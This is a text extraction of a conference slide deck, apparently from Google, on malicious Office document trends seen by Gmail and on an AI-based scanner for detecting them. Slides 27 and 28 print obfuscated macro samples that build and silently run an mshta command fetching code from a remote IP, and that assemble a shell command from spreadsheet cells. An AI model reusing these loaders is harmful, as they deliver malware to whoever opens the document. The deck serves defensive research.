47
SESSION ID: Malicious Documents Trends: a Gmail Perspective HTA-T10 Google, @elie with the help of many Googlers

HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

  • Upload
    others

  • View
    0

  • Download
    0

Embed Size (px)

Citation preview

Page 1: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

SESSION ID:

Malicious Documents Trends: a Gmail Perspective

HTA-T10

Google, @eliewith the help of many Googlers

Page 2: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Slides available here: https://elie.net/rsa20

Page 3: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

https://www.anomali.com/files/white-papers/Anomali_Threat_Research-Gamaredon_TTPs_Target_Ukraine-WP.pdf

In Oct 2019 the Russian sponsored APT group Primitive Bear used obfuscated office documents to target Ukrainian entities

Page 4: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Office: 56%

PDF: 2%

Malicious Documents represent a significant part of malware targeting our users

Page 5: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Every week Gmail scan over 300B+ attachments for malware

Page 6: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Each second we need to process millions of documents in a matter of milliseconds

Page 7: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

How Gmail malware detection works

Scanners Decision engine

Policy engine

Page 8: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

How Gmail malware detection works

Policy engine

Decision engine

Scanners

Page 9: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

How Gmail malware detection works

ScannersPolicy engine

Decision engine

Page 10: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

How Gmail malware detection works

ScannersPolicy engine

Decision engine

Page 11: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

How about users and organization at risk of targeted attack?

Page 12: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Security Sandboxes are used to supplement detection when need.

Page 13: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Agenda

Who is targeted by malicious documents?

Deconstructing malicious documents campaigns

Insights into Gmailnext-gen detection

Page 14: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Who is targetedby malicious documents?

Page 15: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Every type of organization is at risk of being targeted by malicious documents

Education Company Non for profit

Government

Page 16: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Education

Company

Non for profit

Government

Some organizations are more targeted by malicious documents than others

Page 17: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Education

Finance & Insurance

Health Care

IT

Wholesale Trade

Retail

Real Estate

Manufacturing

Utilities

Transportation

Some industries are more targeted by malicious documents than others

Page 18: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Prevalence of malicious documents varies drastically from country to country

Indonesia

Russia

Germany

India

Japan

France

USA

Finland

Great Britain

Norway

Page 19: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Deconstructing malicious documents campaigns

Page 20: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

2000 BCE 1200 CE 1800 CE 2020 CE

Cats through the ages

Page 21: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

63% of the malicious docs blocked by Gmail are different from day to day

Page 22: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

The volume of malicious document greatly varies from day to day: 3x variation is the normal

Page 23: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Lockyransomware

Botnets are the culprits behind some of the massive bursts of malicious emails we observe. Necurs alone was

sending 100M locky samples per day in 2016

Page 24: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

The malicious document threat landscape is very fast-paced and extremely adversarial

Page 25: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Kits offering weaponized document exploits packed with AV evasion techniques are routinely available on the blackmarket as SaaS for $400-$5000

https://news.sophos.com/en-us/2019/02/14/old-phantom-crypter-upends-malicious-document-tools/?cmp=30728

Page 26: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

What techniques do those kits use?

Page 27: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

boazuda = "zTpVrQQvHdVZWEzNCEvrDXMHhcjFYVxXIEEnuDCLMqpbjXqYf hcjFYVxXIEEnucjFYVxXIEEnup://104.144.207.201/cjFYVxXIEEnuron/WEzNCEvrDXMHcjFYVxXIEEnuiELOZqbRQzjYzTpVrQQvHdVZ.php?ucjFYVxXIEEnuzTpVrQQvHdVZDCLMqpbjXqYf=DCLMqpbjXqYfrniELOZqbRQzjY"boazuda = Replace(boazuda, "zTpVrQQvHdVZ", "m")boazuda = Replace(boazuda, "DCLMqpbjXqYf", "a")dzkkGwK = "X" & "p" & "o"boazuda = Replace(boazuda, "WEzNCEvrDXMH", "s")AuOKypAOxXWC = "u" & "x" & Trim("G")LrdizVw = 1418 + 1239 + 1546 + 521 + 1029iBEFgGzg = 1766 + 1267 + 544 + 1840boazuda = Replace(boazuda, "cjFYVxXIEEnu", "t")boazuda = Replace(boazuda, "iELOZqbRQzjY", "e")cYqOLzNGqSzN = 110 + 662 + 271 + 430 + 1818IzdiuFFLcOWX = 1234 - 1771 - 1644 - 1187boazuda = Replace(boazuda, "dfnAfNznHxFV", "l")yCdrQfLG = "Z" & "y" & Trim("R") & "d"

loquaz = "WScripUEAOXJSPZOCg.ShwBfuroncKuUbkjJbOBuEpdFEkjJbOBuEpdFE"loquaz = Replace(loquaz, "DgDdPEVxFMkH", "m")OFNCRKqKF = 1006 + 15 + 215loquaz = Replace(loquaz, "rTRMGUvpLYHv", "a")TOxTXxovMuOp = 734 + 33 + 1188 + 563 + 716loquaz = Replace(loquaz, "AdoqkZxrLcFX", "s")loquaz = Replace(loquaz, "UEAOXJSPZOCg", "t")QFMdIPpUYY = 459 - 943 - 977AUvwcPXcwXb = "E" & "Q"loquaz = Replace(loquaz, "wBfuroncKuUb", "e")iqEyuLuf = "D" & "A" & Trim("O")loquaz = Replace(loquaz, "kjJbOBuEpdFE", "l")uRxRWUfRpSX = Trim("G") & "k" & Trim("G") & Trim("I")

jXkIrzM = 128 - 1507 - 70XjnfDLLd = Trim("k") & "o" & "p"

CreateObject(loquaz).Run boazuda, 0

FAcDNuSZHuWp = 1892 - 994 - 435 - 958 - 491 - 1652 - 1245NbnCVgoojDpO = 1069 + 1656 + 957 + 714CDDQFoi = 512 + 1320zCwcBZPYSpI = 1011 - 1218 - 830 - 1495 - 300 - 1268 - 860

Mshta http://104.144.xxx.yyy/tron/stem.php

WScript.shell

Page 28: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Attackers try to evade detection by adding malware in XLS cell content.

q = "": m = ""For i = use * 2 To use * 2 + 3

q = q + plumb(Cells(i, use * 2)): m = m + plumb(Cells(i + use / 2, use * 2))Next i

Shell q + cop(use, use) + m, ..

Page 29: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

63% of malware are different from day to day

Takeaways

Obfuscator and weaponized exploits are readily available

Page 30: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Insights into Gmail next-gen malicious document detection

Page 31: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Use AI to improve detection

Page 32: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Really?

Page 33: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Enhance existing detection capabilities with AI interpolation & advanced document analyzers to coverage and to adversarial attacks

Page 34: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

APT / 0day

Advanced obfuscation

Detection TCO

Bulkmalware

DefenseGAP /

opportunity

Gmail detection landscape: today

Page 35: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

APT / 0day

Advanced obfuscation

Detection TCO

Bulkmalware

AI

Gmail detection landscape: tomorrow

Page 36: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

How does it work in practice?

Page 37: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

FeatureextractorsDocument

analyzer

Machine LearningTranspiler SupervisedExecution

Feedback loop for dynamic code (eval)

Anatomy of a document scanner

Macro/scriptParsers

Macro ASTAnalyzer

Page 38: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

How our AI scanner integrate with Gmail malware detection works

ScannersPolicy engine

Decision engine

Page 39: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Does it really work?

Page 40: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

AI scanner increases Office documents with malicious documents detection by ~10% consistently and 150+% at peak

AI only Both Other scanners only

Jan 28

Jan 29

Jan 30

Jan 31

Feb 1

Feb 2

Feb 3

Feb 4

Feb 5

Feb 6

Feb 7

Feb 8

Feb 9

Feb 10

Feb 11

Feb 12

Feb 13

Feb 14

Feb 15

Feb 16

Feb 17

Feb 18

Feb 19

Feb 20

Feb 21

Feb 22

Feb 23

Feb 24

200%

150%

100%

50%

0%

Page 41: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Improvement varies by filetype

10.5% 14.5%

Page 42: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

How do you build ground truth?

Page 43: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Hindsights samples re-evaluation

Re-scan documents at a later stage to give a chance to various scanners to have their false positives fixed

Additional sandbox scans

Scan suspicious and a large subset of documents with sandboxes for additional verdicts

Cluster analysisLeverage deep-clustering to quickly identify the samples that need to be reviewed to find potential FP / FN

No silver bullet: use a multi prong approach

Page 44: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Deep-clustering to scale model improvements

Example of a incorrect extrapolation - .dll in code was considered malicious

Page 45: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Malicious documents is a key threat to businesses and end users

Robust malicious documents detectionrequires a defense in depth strategy that combine detection approaches

Takeaways

Adversary continuously shift their TTP and tweak their payload to avoid detection

Page 46: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Robust malicious documents detection requires combining technologies and constant R&D https://elie.net/rsa20

Page 47: HTA-T10 a Gmail Perspective Malicious Documents Trends...PDF: 2% Malicious Documents represent a significant ... obfuscation Detection TCO Bulk malware Defense GAP / opportunity Gmail

Thank you